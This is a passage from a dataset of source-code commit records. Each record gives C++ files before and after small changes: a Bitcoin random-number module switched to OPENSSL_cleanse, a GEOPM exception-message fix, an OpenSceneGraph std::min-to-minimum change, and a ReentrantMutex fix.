this->parent()->get_layout_params(*this);\n}\n\nWidget& widget::get_widget(const std::string& id) {\n\tauto w = this->try_get_widget(id);\n\tif(!w){\n\t\tstd::stringstream ss;\n\t\tss << \"Widget '\" << id << \"' not found in '\" << this->id << \"'\";\n\t\tthrow utki::not_found(ss.str());\n\t}\n\treturn *w;\n}\n\nvoid widget::set_enabled(bool enable) {\n\/\/\tTRACE(<< \"widget::set_enabled(): enable = \" << enable << \" this->name() = \" << this->name()<< std::endl)\n\tif(this->isEnabled_v == enable){\n\t\treturn;\n\t}\n\n\tthis->isEnabled_v = enable;\n\n\t\/\/Un-hover this widget if it becomes disabled because it is not supposed to receive mouse input.\n\tif(!this->is_enabled()){\n\t\tthis->set_unhovered();\n\t}\n\n\tthis->on_enabled_changed();\n}\n\nvoid widget::set_visible(bool visible) {\n\tthis->isVisible_v = visible;\n\tif (!this->isVisible_v) {\n\t\tthis->set_unhovered();\n\t}\n}\n\nvoid widget::set_unhovered() {\n\tauto hoverSet = std::move(this->hovered);\n\tASSERT(this->hovered.size() == 0)\n\tfor(auto h : hoverSet){\n\t\tthis->on_hover_changed(h);\n\t}\n}\n\n\nvoid widget::set_hovered(bool isHovered, unsigned pointerID) {\n\tif(isHovered == this->is_hovered(pointerID)){\n\t\treturn;\n\t}\n\/\/\tTRACE(<< \"widget::setHovered(): isHovered = \" << isHovered << \" this->name() = \" << this->name() << std::endl)\n\n\tif (isHovered) {\n\t\tASSERT(!this->is_hovered(pointerID))\n\t\tthis->hovered.insert(pointerID);\n\t} else {\n\t\tASSERT(this->is_hovered(pointerID))\n\t\tthis->hovered.erase(pointerID);\n\t}\n\n\tthis->on_hover_changed(pointerID);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2014 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"random.h\"\n\n#ifdef WIN32\n#include \"compat.h\" \/\/ for Windows API\n#endif\n#include \"util.h\" \/\/ for LogPrint()\n\n#ifndef WIN32\n#include <sys\/time.h>\n#endif\n#include <cstring> \/\/ for memset()\n\n#include <openssl\/crypto.h>\n#include <openssl\/err.h>\n#include <openssl\/rand.h>\n\nstatic inline int64_t GetPerformanceCounter()\n{\n int64_t nCounter = 0;\n#ifdef WIN32\n QueryPerformanceCounter((LARGE_INTEGER*)&nCounter);\n#else\n timeval t;\n gettimeofday(&t, NULL);\n nCounter = (int64_t)(t.tv_sec * 1000000 + t.tv_usec);\n#endif\n return nCounter;\n}\n\nvoid RandAddSeed()\n{\n \/\/ Seed with CPU performance counter\n int64_t nCounter = GetPerformanceCounter();\n RAND_add(&nCounter, sizeof(nCounter), 1.5);\n memset(&nCounter, 0, sizeof(nCounter));\n}\n\nvoid RandAddSeedPerfmon()\n{\n RandAddSeed();\n\n \/\/ This can take up to 2 seconds, so only do it every 10 minutes\n static int64_t nLastPerfmon;\n if (GetTime() < nLastPerfmon + 10 * 60)\n return;\n nLastPerfmon = GetTime();\n\n#ifdef WIN32\n \/\/ Don't need this on Linux, OpenSSL automatically uses \/dev\/urandom\n \/\/ Seed with the entire set of perfmon data\n std::vector <unsigned char> vData(250000,0);\n long ret = 0;\n unsigned long nSize = 0;\n const size_t nMaxSize = 10000000; \/\/ Bail out at more than 10MB of performance data\n while (true)\n {\n nSize = vData.size();\n ret = RegQueryValueExA(HKEY_PERFORMANCE_DATA, \"Global\", NULL, NULL, begin_ptr(vData), &nSize);\n if (ret != ERROR_MORE_DATA || vData.size() >= nMaxSize)\n break;\n vData.resize(std::max((vData.size()*3)\/2, nMaxSize)); \/\/ Grow size of buffer exponentially\n }\n RegCloseKey(HKEY_PERFORMANCE_DATA);\n if (ret == ERROR_SUCCESS)\n {\n RAND_add(begin_ptr(vData), nSize, nSize\/100.0);\n OPENSSL_cleanse(begin_ptr(vData), nSize);\n LogPrint(\"rand\", \"%s: %lu bytes\\n\", __func__, nSize);\n } else {\n static bool warned = false; \/\/ Warn only once\n if (!warned)\n {\n LogPrintf(\"%s: Warning: RegQueryValueExA(HKEY_PERFORMANCE_DATA) failed with code %i\\n\", __func__, ret);\n warned = true;\n }\n }\n#endif\n}\n\nbool GetRandBytes(unsigned char *buf, int num)\n{\n if (RAND_bytes(buf, num) != 1) {\n LogPrintf(\"%s: OpenSSL RAND_bytes() failed with error: %s\\n\", __func__, ERR_error_string(ERR_get_error(), NULL));\n return false;\n }\n return true;\n}\n\nuint64_t GetRand(uint64_t nMax)\n{\n if (nMax == 0)\n return 0;\n\n \/\/ The range of the random source must be a multiple of the modulus\n \/\/ to give every possible output value an equal possibility\n uint64_t nRange = (std::numeric_limits<uint64_t>::max() \/ nMax) * nMax;\n uint64_t nRand = 0;\n do {\n GetRandBytes((unsigned char*)&nRand, sizeof(nRand));\n } while (nRand >= nRange);\n return (nRand % nMax);\n}\n\nint GetRandInt(int nMax)\n{\n return GetRand(nMax);\n}\n\nuint256 GetRandHash()\n{\n uint256 hash;\n GetRandBytes((unsigned char*)&hash, sizeof(hash));\n return hash;\n}\n\nuint32_t insecure_rand_Rz = 11;\nuint32_t insecure_rand_Rw = 11;\nvoid seed_insecure_rand(bool fDeterministic)\n{\n \/\/ The seed values have some unlikely fixed points which we avoid.\n if(fDeterministic)\n {\n insecure_rand_Rz = insecure_rand_Rw = 11;\n } else {\n uint32_t tmp;\n do {\n GetRandBytes((unsigned char*)&tmp, 4);\n } while(tmp == 0 || tmp == 0x9068ffffU);\n insecure_rand_Rz = tmp;\n do {\n GetRandBytes((unsigned char*)&tmp, 4);\n } while(tmp == 0 || tmp == 0x464fffffU);\n insecure_rand_Rw = tmp;\n }\n}\n<commit_msg>make RandAddSeed() use OPENSSL_cleanse()<commit_after>\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2014 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"random.h\"\n\n#ifdef WIN32\n#include \"compat.h\" \/\/ for Windows API\n#endif\n#include \"util.h\" \/\/ for LogPrint()\n\n#ifndef WIN32\n#include <sys\/time.h>\n#endif\n\n#include <openssl\/crypto.h>\n#include <openssl\/err.h>\n#include <openssl\/rand.h>\n\nstatic inline int64_t GetPerformanceCounter()\n{\n int64_t nCounter = 0;\n#ifdef WIN32\n QueryPerformanceCounter((LARGE_INTEGER*)&nCounter);\n#else\n timeval t;\n gettimeofday(&t, NULL);\n nCounter = (int64_t)(t.tv_sec * 1000000 + t.tv_usec);\n#endif\n return nCounter;\n}\n\nvoid RandAddSeed()\n{\n \/\/ Seed with CPU performance counter\n int64_t nCounter = GetPerformanceCounter();\n RAND_add(&nCounter, sizeof(nCounter), 1.5);\n OPENSSL_cleanse((void*)&nCounter, sizeof(nCounter));\n}\n\nvoid RandAddSeedPerfmon()\n{\n RandAddSeed();\n\n \/\/ This can take up to 2 seconds, so only do it every 10 minutes\n static int64_t nLastPerfmon;\n if (GetTime() < nLastPerfmon + 10 * 60)\n return;\n nLastPerfmon = GetTime();\n\n#ifdef WIN32\n \/\/ Don't need this on Linux, OpenSSL automatically uses \/dev\/urandom\n \/\/ Seed with the entire set of perfmon data\n std::vector <unsigned char> vData(250000,0);\n long ret = 0;\n unsigned long nSize = 0;\n const size_t nMaxSize = 10000000; \/\/ Bail out at more than 10MB of performance data\n while (true)\n {\n nSize = vData.size();\n ret = RegQueryValueExA(HKEY_PERFORMANCE_DATA, \"Global\", NULL, NULL, begin_ptr(vData), &nSize);\n if (ret != ERROR_MORE_DATA || vData.size() >= nMaxSize)\n break;\n vData.resize(std::max((vData.size()*3)\/2, nMaxSize)); \/\/ Grow size of buffer exponentially\n }\n RegCloseKey(HKEY_PERFORMANCE_DATA);\n if (ret == ERROR_SUCCESS)\n {\n RAND_add(begin_ptr(vData), nSize, nSize\/100.0);\n OPENSSL_cleanse(begin_ptr(vData), nSize);\n LogPrint(\"rand\", \"%s: %lu bytes\\n\", __func__, nSize);\n } else {\n static bool warned = false; \/\/ Warn only once\n if (!warned)\n {\n LogPrintf(\"%s: Warning: RegQueryValueExA(HKEY_PERFORMANCE_DATA) failed with code %i\\n\", __func__, ret);\n warned = true;\n }\n }\n#endif\n}\n\nbool GetRandBytes(unsigned char *buf, int num)\n{\n if (RAND_bytes(buf, num) != 1) {\n LogPrintf(\"%s: OpenSSL RAND_bytes() failed with error: %s\\n\", __func__, ERR_error_string(ERR_get_error(), NULL));\n return false;\n }\n return true;\n}\n\nuint64_t GetRand(uint64_t nMax)\n{\n if (nMax == 0)\n return 0;\n\n \/\/ The range of the random source must be a multiple of the modulus\n \/\/ to give every possible output value an equal possibility\n uint64_t nRange = (std::numeric_limits<uint64_t>::max() \/ nMax) * nMax;\n uint64_t nRand = 0;\n do {\n GetRandBytes((unsigned char*)&nRand, sizeof(nRand));\n } while (nRand >= nRange);\n return (nRand % nMax);\n}\n\nint GetRandInt(int nMax)\n{\n return GetRand(nMax);\n}\n\nuint256 GetRandHash()\n{\n uint256 hash;\n GetRandBytes((unsigned char*)&hash, sizeof(hash));\n return hash;\n}\n\nuint32_t insecure_rand_Rz = 11;\nuint32_t insecure_rand_Rw = 11;\nvoid seed_insecure_rand(bool fDeterministic)\n{\n \/\/ The seed values have some unlikely fixed points which we avoid.\n if(fDeterministic)\n {\n insecure_rand_Rz = insecure_rand_Rw = 11;\n } else {\n uint32_t tmp;\n do {\n GetRandBytes((unsigned char*)&tmp, 4);\n } while(tmp == 0 || tmp == 0x9068ffffU);\n insecure_rand_Rz = tmp;\n do {\n GetRandBytes((unsigned char*)&tmp, 4);\n } while(tmp == 0 || tmp == 0x464fffffU);\n insecure_rand_Rw = tmp;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2015, 2016, 2017, 2018, 2019, 2020, Intel Corporation\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * * Neither the name of Intel Corporation nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY LOG OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n\n#include \"record.hpp\"\n\n#include <map>\n\n#include \"Exception.hpp\"\n#include \"geopm.h\"\n\nnamespace geopm\n{\n std::string event_name(int event_type)\n {\n static const std::map<int, std::string> event_names {\n {EVENT_REGION_ENTRY, \"REGION_ENTRY\"},\n {EVENT_REGION_EXIT, \"REGION_EXIT\"},\n {EVENT_EPOCH_COUNT, \"EPOCH_COUNT\"},\n {EVENT_HINT, \"HINT\"}\n };\n auto it = event_names.find(event_type);\n if (it == event_names.end()) {\n throw geopm::Exception(\"unsupported event type: \" + std::to_string(event_type),\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n return it->second;\n }\n\n int event_type(const std::string &event_name)\n {\n static const std::map<std::string, int> event_types {\n {\"REGION_ENTRY\", EVENT_REGION_ENTRY},\n {\"REGION_EXIT\", EVENT_REGION_EXIT},\n {\"EPOCH_COUNT\", EVENT_EPOCH_COUNT},\n {\"HINT\", EVENT_HINT}\n };\n auto it = event_types.find(event_name);\n if (it == event_types.end()) {\n throw geopm::Exception(\"invalid event type string: \" + event_name,\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n return it->second;\n }\n\n std::string hint_name(uint64_t hint)\n {\n static const std::map<uint64_t, std::string> result_map {\n {GEOPM_REGION_HINT_UNKNOWN, \"UNKNOWN\"},\n {GEOPM_REGION_HINT_COMPUTE, \"COMPUTE\"},\n {GEOPM_REGION_HINT_MEMORY, \"MEMORY\"},\n {GEOPM_REGION_HINT_NETWORK, \"NETWORK\"},\n {GEOPM_REGION_HINT_IO, \"IO\"},\n {GEOPM_REGION_HINT_SERIAL, \"SERIAL\"},\n {GEOPM_REGION_HINT_PARALLEL, \"PARALLEL\"},\n {GEOPM_REGION_HINT_IGNORE, \"IGNORE\"},\n };\n auto it = result_map.find(hint);\n if (it == result_map.end()) {\n throw Exception(\"Profile::hint_hame(): Invalid hint\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n return it->second;\n }\n\n uint64_t hint_type(const std::string &hint_name)\n {\n static const std::map<std::string, uint64_t> result_map {\n {\"UNKNOWN\", GEOPM_REGION_HINT_UNKNOWN},\n {\"COMPUTE\", GEOPM_REGION_HINT_COMPUTE},\n {\"MEMORY\", GEOPM_REGION_HINT_MEMORY},\n {\"NETWORK\", GEOPM_REGION_HINT_NETWORK},\n {\"IO\", GEOPM_REGION_HINT_IO},\n {\"SERIAL\", GEOPM_REGION_HINT_SERIAL},\n {\"PARALLEL\", GEOPM_REGION_HINT_PARALLEL},\n {\"IGNORE\", GEOPM_REGION_HINT_IGNORE},\n };\n auto it = result_map.find(hint_name);\n if (it == result_map.end()) {\n throw Exception(\"Profile::hint_type(): Unknown hint name: \" + hint_name + \"\\n\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n return it->second;\n }\n}\n<commit_msg>Fixup exception message<commit_after>\/*\n * Copyright (c) 2015, 2016, 2017, 2018, 2019, 2020, Intel Corporation\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * * Neither the name of Intel Corporation nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY LOG OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n\n#include \"record.hpp\"\n\n#include <map>\n\n#include \"Exception.hpp\"\n#include \"geopm.h\"\n\nnamespace geopm\n{\n std::string event_name(int event_type)\n {\n static const std::map<int, std::string> event_names {\n {EVENT_REGION_ENTRY, \"REGION_ENTRY\"},\n {EVENT_REGION_EXIT, \"REGION_EXIT\"},\n {EVENT_EPOCH_COUNT, \"EPOCH_COUNT\"},\n {EVENT_HINT, \"HINT\"}\n };\n auto it = event_names.find(event_type);\n if (it == event_names.end()) {\n throw geopm::Exception(\"unsupported event type: \" + std::to_string(event_type),\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n return it->second;\n }\n\n int event_type(const std::string &event_name)\n {\n static const std::map<std::string, int> event_types {\n {\"REGION_ENTRY\", EVENT_REGION_ENTRY},\n {\"REGION_EXIT\", EVENT_REGION_EXIT},\n {\"EPOCH_COUNT\", EVENT_EPOCH_COUNT},\n {\"HINT\", EVENT_HINT}\n };\n auto it = event_types.find(event_name);\n if (it == event_types.end()) {\n throw geopm::Exception(\"invalid event type string: \" + event_name,\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n return it->second;\n }\n\n std::string hint_name(uint64_t hint)\n {\n static const std::map<uint64_t, std::string> result_map {\n {GEOPM_REGION_HINT_UNKNOWN, \"UNKNOWN\"},\n {GEOPM_REGION_HINT_COMPUTE, \"COMPUTE\"},\n {GEOPM_REGION_HINT_MEMORY, \"MEMORY\"},\n {GEOPM_REGION_HINT_NETWORK, \"NETWORK\"},\n {GEOPM_REGION_HINT_IO, \"IO\"},\n {GEOPM_REGION_HINT_SERIAL, \"SERIAL\"},\n {GEOPM_REGION_HINT_PARALLEL, \"PARALLEL\"},\n {GEOPM_REGION_HINT_IGNORE, \"IGNORE\"},\n };\n auto it = result_map.find(hint);\n if (it == result_map.end()) {\n throw Exception(\"hint_hame(): Invalid hint\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n return it->second;\n }\n\n uint64_t hint_type(const std::string &hint_name)\n {\n static const std::map<std::string, uint64_t> result_map {\n {\"UNKNOWN\", GEOPM_REGION_HINT_UNKNOWN},\n {\"COMPUTE\", GEOPM_REGION_HINT_COMPUTE},\n {\"MEMORY\", GEOPM_REGION_HINT_MEMORY},\n {\"NETWORK\", GEOPM_REGION_HINT_NETWORK},\n {\"IO\", GEOPM_REGION_HINT_IO},\n {\"SERIAL\", GEOPM_REGION_HINT_SERIAL},\n {\"PARALLEL\", GEOPM_REGION_HINT_PARALLEL},\n {\"IGNORE\", GEOPM_REGION_HINT_IGNORE},\n };\n auto it = result_map.find(hint_name);\n if (it == result_map.end()) {\n throw Exception(\"hint_type(): Unknown hint name: \" + hint_name + \"\\n\",\n GEOPM_ERROR_INVALID, __FILE__, __LINE__);\n }\n return it->second;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include <osg\/ApplicationUsage>\n#include <osg\/Math>\n\nusing namespace osg;\n\nApplicationUsage::ApplicationUsage(const std::string& commandLineUsage):\n _commandLineUsage(commandLineUsage)\n{\n}\n\nApplicationUsage* ApplicationUsage::instance()\n{\n static ApplicationUsage s_applicationUsage;\n return &s_applicationUsage;\n}\n\nvoid ApplicationUsage::addUsageExplanation(Type type,const std::string& option,const std::string& explanation)\n{\n switch(type)\n {\n case(COMMAND_LINE_OPTION):\n addCommandLineOption(option,explanation);\n break;\n case(ENVIRONMENTAL_VARIABLE):\n addEnvironmentalVariable(option,explanation);\n break;\n case(KEYBOARD_MOUSE_BINDING):\n addKeyboardMouseBinding(option,explanation);\n break;\n }\n}\n\nvoid ApplicationUsage::addCommandLineOption(const std::string& option,const std::string& explanation)\n{\n _commandLineOptions[option]=explanation;\n}\n\nvoid ApplicationUsage::addEnvironmentalVariable(const std::string& option,const std::string& explanation)\n{\n _environmentalVariables[option]=explanation;\n}\n\nvoid ApplicationUsage::addKeyboardMouseBinding(const std::string& option,const std::string& explanation)\n{\n _keyboardMouse[option]=explanation;\n}\n\nvoid ApplicationUsage::write(std::ostream& output, const ApplicationUsage::UsageMap& um,unsigned int widthOfOutput)\n{\n unsigned int maxNumCharsInOptions = 0;\n ApplicationUsage::UsageMap::const_iterator citr;\n for(citr=um.begin();\n citr!=um.end();\n ++citr)\n {\n maxNumCharsInOptions = maximum(maxNumCharsInOptions,(unsigned int)citr->first.length());\n }\n \n unsigned int fullWidth = widthOfOutput;\n unsigned int optionPos = 2;\n unsigned int optionWidth = maxNumCharsInOptions;\n unsigned int explanationPos = 2+maxNumCharsInOptions+2;\n unsigned int explanationWidth = fullWidth-explanationPos;\n\n std::string line;\n \n for(citr=um.begin();\n citr!=um.end();\n ++citr)\n {\n line.assign(fullWidth,' ');\n line.replace(optionPos,optionWidth,citr->first);\n \n const std::string& explanation = citr->second;\n unsigned int pos = 0;\n unsigned int offset = 0;\n bool firstInLine = true;\n while (pos<explanation.length())\n {\n if (firstInLine) offset = 0;\n \n \/\/ skip any leading white space.\n while (pos<explanation.length() && explanation[pos]==' ')\n {\n if (firstInLine) ++offset;\n ++pos;\n }\n \n firstInLine = false;\n \n unsigned int width = std::min((unsigned int)explanation.length()-pos,explanationWidth-offset);\n unsigned int slashn_pos = explanation.find('\\n',pos);\n unsigned int extraSkip = 0;\n bool concatinated = false;\n if (slashn_pos!=std::string::npos)\n {\n if (slashn_pos<pos+width)\n {\n width = slashn_pos-pos;\n ++extraSkip;\n firstInLine = true;\n }\n else if (slashn_pos==pos+width) \n {\n ++extraSkip;\n firstInLine = true;\n }\n }\n \n if (pos+width<explanation.length())\n {\n \/\/ now reduce width until we get a space or a return\n \/\/ so that we ensure that whole words are printed.\n while (width>0 && \n explanation[pos+width]!=' ' && \n explanation[pos+width]!='\\n') --width;\n \n if (width==0)\n {\n \/\/ word must be longer than a whole line so will need\n \/\/ to concatinate it.\n width = explanationWidth-1;\n concatinated = true;\n }\n }\n \n line.replace(explanationPos+offset,explanationWidth, explanation, pos, width);\n if (concatinated) output << line << '-' << std::endl;\n else output << line << std::endl;\n \n \n \/\/ move to the next line of output.\n line.assign(fullWidth,' ');\n pos += width+extraSkip;\n\n \n }\n \n }\n}\n\nvoid ApplicationUsage::write(std::ostream& output,unsigned int widthOfOutput)\n{\n\n output << \"Usage: \"<<getCommandLineUsage()<<std::endl;\n bool needspace = false;\n if (!getCommandLineOptions().empty())\n {\n if (needspace) output << std::endl;\n output << \"Options:\"<<std::endl;\n write(output,getCommandLineOptions(),widthOfOutput);\n needspace = true;\n }\n \n if (!getEnvironmentalVariables().empty())\n {\n if (needspace) output << std::endl;\n output << \"Environmental Variables:\"<<std::endl;\n write(output,getEnvironmentalVariables(),widthOfOutput);\n needspace = true;\n }\n\n if (!getKeyboardMouseBindings().empty())\n {\n if (needspace) output << std::endl;\n output << \"Keyboard and Mouse Bindings:\"<<std::endl;\n write(output,getKeyboardMouseBindings(),widthOfOutput);\n needspace = true;\n }\n\n}\n\n<commit_msg>Changed std::min to osg::minimum.<commit_after>#include <osg\/ApplicationUsage>\n#include <osg\/Math>\n\nusing namespace osg;\n\nApplicationUsage::ApplicationUsage(const std::string& commandLineUsage):\n _commandLineUsage(commandLineUsage)\n{\n}\n\nApplicationUsage* ApplicationUsage::instance()\n{\n static ApplicationUsage s_applicationUsage;\n return &s_applicationUsage;\n}\n\nvoid ApplicationUsage::addUsageExplanation(Type type,const std::string& option,const std::string& explanation)\n{\n switch(type)\n {\n case(COMMAND_LINE_OPTION):\n addCommandLineOption(option,explanation);\n break;\n case(ENVIRONMENTAL_VARIABLE):\n addEnvironmentalVariable(option,explanation);\n break;\n case(KEYBOARD_MOUSE_BINDING):\n addKeyboardMouseBinding(option,explanation);\n break;\n }\n}\n\nvoid ApplicationUsage::addCommandLineOption(const std::string& option,const std::string& explanation)\n{\n _commandLineOptions[option]=explanation;\n}\n\nvoid ApplicationUsage::addEnvironmentalVariable(const std::string& option,const std::string& explanation)\n{\n _environmentalVariables[option]=explanation;\n}\n\nvoid ApplicationUsage::addKeyboardMouseBinding(const std::string& option,const std::string& explanation)\n{\n _keyboardMouse[option]=explanation;\n}\n\nvoid ApplicationUsage::write(std::ostream& output, const ApplicationUsage::UsageMap& um,unsigned int widthOfOutput)\n{\n unsigned int maxNumCharsInOptions = 0;\n ApplicationUsage::UsageMap::const_iterator citr;\n for(citr=um.begin();\n citr!=um.end();\n ++citr)\n {\n maxNumCharsInOptions = maximum(maxNumCharsInOptions,(unsigned int)citr->first.length());\n }\n \n unsigned int fullWidth = widthOfOutput;\n unsigned int optionPos = 2;\n unsigned int optionWidth = maxNumCharsInOptions;\n unsigned int explanationPos = 2+maxNumCharsInOptions+2;\n unsigned int explanationWidth = fullWidth-explanationPos;\n\n std::string line;\n \n for(citr=um.begin();\n citr!=um.end();\n ++citr)\n {\n line.assign(fullWidth,' ');\n line.replace(optionPos,optionWidth,citr->first);\n \n const std::string& explanation = citr->second;\n unsigned int pos = 0;\n unsigned int offset = 0;\n bool firstInLine = true;\n while (pos<explanation.length())\n {\n if (firstInLine) offset = 0;\n \n \/\/ skip any leading white space.\n while (pos<explanation.length() && explanation[pos]==' ')\n {\n if (firstInLine) ++offset;\n ++pos;\n }\n \n firstInLine = false;\n \n unsigned int width = minimum((unsigned int)explanation.length()-pos,explanationWidth-offset);\n unsigned int slashn_pos = explanation.find('\\n',pos);\n unsigned int extraSkip = 0;\n bool concatinated = false;\n if (slashn_pos!=std::string::npos)\n {\n if (slashn_pos<pos+width)\n {\n width = slashn_pos-pos;\n ++extraSkip;\n firstInLine = true;\n }\n else if (slashn_pos==pos+width) \n {\n ++extraSkip;\n firstInLine = true;\n }\n }\n \n if (pos+width<explanation.length())\n {\n \/\/ now reduce width until we get a space or a return\n \/\/ so that we ensure that whole words are printed.\n while (width>0 && \n explanation[pos+width]!=' ' && \n explanation[pos+width]!='\\n') --width;\n \n if (width==0)\n {\n \/\/ word must be longer than a whole line so will need\n \/\/ to concatinate it.\n width = explanationWidth-1;\n concatinated = true;\n }\n }\n \n line.replace(explanationPos+offset,explanationWidth, explanation, pos, width);\n if (concatinated) output << line << '-' << std::endl;\n else output << line << std::endl;\n \n \n \/\/ move to the next line of output.\n line.assign(fullWidth,' ');\n pos += width+extraSkip;\n\n \n }\n \n }\n}\n\nvoid ApplicationUsage::write(std::ostream& output,unsigned int widthOfOutput)\n{\n\n output << \"Usage: \"<<getCommandLineUsage()<<std::endl;\n bool needspace = false;\n if (!getCommandLineOptions().empty())\n {\n if (needspace) output << std::endl;\n output << \"Options:\"<<std::endl;\n write(output,getCommandLineOptions(),widthOfOutput);\n needspace = true;\n }\n \n if (!getEnvironmentalVariables().empty())\n {\n if (needspace) output << std::endl;\n output << \"Environmental Variables:\"<<std::endl;\n write(output,getEnvironmentalVariables(),widthOfOutput);\n needspace = true;\n }\n\n if (!getKeyboardMouseBindings().empty())\n {\n if (needspace) output << std::endl;\n output << \"Keyboard and Mouse Bindings:\"<<std::endl;\n write(output,getKeyboardMouseBindings(),widthOfOutput);\n needspace = true;\n }\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2006 Robert Osfield \n *\n * This library is open source and may be redistributed and\/or modified under \n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or \n * (at your option) any later version. The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \n * OpenSceneGraph Public License for more details.\n*\/\n\n#include <osgDB\/ReentrantMutex>\n\n\nusing namespace osgDB;\nusing namespace OpenThreads;\n\nReentrantMutex::ReentrantMutex():\n _threadHoldingMutex(0),\n _lockCount(0)\n{\n}\n\nReentrantMutex::~ReentrantMutex()\n{\n}\n\nint ReentrantMutex::lock()\n{\n if (_threadHoldingMutex==OpenThreads::Thread::CurrentThread() && _lockCount>0)\n {\n ++_lockCount;\n return 0;\n }\n else\n {\n int result = Mutex::lock();\n if (result==0)\n {\n _threadHoldingMutex = OpenThreads::Thread::CurrentThread();\n _lockCount = 1;\n }\n return result;\n }\n}\n\nint ReentrantMutex::unlock()\n{\n if (_threadHoldingMutex==OpenThreads::Thread::CurrentThread() && _lockCount>0)\n {\n --_lockCount;\n if (_lockCount<=0) return Mutex::unlock();\n }\n return 0;\n}\n\nint ReentrantMutex::trylock()\n{\n if (_threadHoldingMutex==OpenThreads::Thread::CurrentThread() && _lockCount>0)\n {\n ++_lockCount;\n return 0;\n }\n else\n {\n int result = Mutex::trylock();\n if (result==0)\n {\n _threadHoldingMutex = OpenThreads::Thread::CurrentThread();\n _lockCount = 1;\n }\n return result;\n }\n}\n<commit_msg>Added a _threadHoldingMutex = 0; to ReentrantMutex::unlock() to avoid a potential bug with the mutex being aquired by two threads.<commit_after>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2006 Robert Osfield \n *\n * This library is open source and may be redistributed and\/or modified under \n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or \n * (at your option) any later version. The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \n * OpenSceneGraph Public License for more details.\n*\/\n\n#include <osgDB\/ReentrantMutex>\n\n\nusing namespace osgDB;\nusing namespace OpenThreads;\n\nReentrantMutex::ReentrantMutex():\n 